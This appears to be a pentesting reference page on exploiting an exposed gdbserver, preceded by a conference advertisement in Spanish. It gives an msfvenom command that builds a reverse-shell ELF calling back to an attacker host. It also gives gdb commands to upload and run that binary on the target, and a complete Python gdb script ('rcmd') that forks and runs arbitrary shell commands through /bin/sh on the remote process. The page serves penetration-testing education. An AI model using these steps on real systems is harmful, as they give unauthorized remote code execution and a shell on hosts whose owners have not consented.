# Pentesting Remote GdbServer

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[**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\ ¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!: {% embed url="https://www.dragonjarcon.org/" %} ## **Basic Information** **gdbserver** is a computer program that makes it possible to remotely debug other programs. Running on the same system as the program to be debugged, it allows the **GNU Debugger to connect from another system**; that is, only the executable to be debugged needs to be resident on the target system ("target"), while the source code and a copy of the binary file to be debugged reside on the developer's local computer ("host"). The connection can be either TCP or a serial line. You can make a **gdbserver listen in any port** and at the moment **nmap is not capable of recognising the service**. ## Exploitation ### Upload and Execute You can easily create an **elf backdoor with msfvenom**, upload it and execute is: ```bash # Trick shared by @B1n4rySh4d0w msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf chmod +x binary.elf gdb binary.elf # Set remote debuger target target extended-remote 10.10.10.11:1337 # Upload elf file remote put binary.elf binary.elf # Set remote executable file set remote exec-file /home/user/binary.elf # Execute reverse shell executable run # You should get your reverse-shell ``` ### Execute arbitrary commands There is another way to **make the debugger execute arbitrary commands via a python custom script taken from** [**here**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target)**.** ```bash # Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server. target extended-remote 192.168.1.4:2345 # Load our custom gdb command `rcmd`. source ./remote-cmd.py # Change to a trusty binary and run it to load it set remote exec-file /bin/bash r # Run until a point where libc has been loaded on the remote process, e.g. start of main(). tb main r # Run the remote command, e.g. `ls`. rcmd ls ``` First of all **create locally this script**: {% code title="remote-cmd.py" %} ```python #!/usr/bin/env python3 import gdb import re import traceback import uuid class RemoteCmd(gdb.Command): def __init__(self): self.addresses = {} self.tmp_file = f'/tmp/{uuid.uuid4().hex}' gdb.write(f"Using tmp output file: {self.tmp_file}.\n") gdb.execute("set detach-on-fork off") gdb.execute("set follow-fork-mode parent") gdb.execute("set max-value-size unlimited") gdb.execute("set pagination off") gdb.execute("set print elements 0") gdb.execute("set print repeats 0") super(RemoteCmd, self).__init__("rcmd", gdb.COMMAND_USER) def preload(self): for symbol in [ "close", "execl", "fork", "free", "lseek", "malloc", "open", "read", ]: self.load(symbol) def load(self, symbol): if symbol not in self.addresses: address_string = gdb.execute(f"info address {symbol}", to_string=True) match = re.match( f'Symbol "{symbol}" is at ([0-9a-fx]+) .*', address_string, re.IGNORECASE ) if match and len(match.groups()) > 0: self.addresses[symbol] = match.groups()[0] else: raise RuntimeError(f'Could not retrieve address for symbol "{symbol}".') return self.addresses[symbol] def output(self): # From `fcntl-linux.h` O_RDONLY = 0 gdb.execute( f'set $fd = (int){self.load("open")}("{self.tmp_file}", {O_RDONLY})' ) # From `stdio.h` SEEK_SET = 0 SEEK_END = 2 gdb.execute(f'set $len = (int){self.load("lseek")}($fd, 0, {SEEK_END})') gdb.execute(f'call (int){self.load("lseek")}($fd, 0, {SEEK_SET})') if int(gdb.convenience_variable("len")) <= 0: gdb.write("No output was captured.") return gdb.execute(f'set $mem = (void*){self.load("malloc")}($len)') gdb.execute(f'call (int){self.load("read")}($fd, $mem, $len)') gdb.execute('printf "%s\\n", (char*) $mem') gdb.execute(f'call (int){self.load("close")}($fd)') gdb.execute(f'call (int){self.load("free")}($mem)') def invoke(self, arg, from_tty): try: self.preload() is_auto_solib_add = gdb.parameter("auto-solib-add") gdb.execute("set auto-solib-add off") parent_inferior = gdb.selected_inferior() gdb.execute(f'set $child_pid = (int){self.load("fork")}()') child_pid = gdb.convenience_variable("child_pid") child_inferior = list( filter(lambda x: x.pid == child_pid, gdb.inferiors()) )[0] gdb.execute(f"inferior {child_inferior.num}") try: gdb.execute( f'call (int){self.load("execl")}("/bin/sh", "sh", "-c", "exec {arg} >{self.tmp_file} 2>&1", (char*)0)' ) except gdb.error as e: if ( "The program being debugged exited while in a function called from GDB" in str(e) ): pass else: raise e finally: gdb.execute(f"inferior {parent_inferior.num}") gdb.execute(f"remove-inferiors {child_inferior.num}") self.output() except Exception as e: gdb.write("".join(traceback.TracebackException.from_exception(e).format())) raise e finally: gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}') RemoteCmd() ``` {% endcode %}

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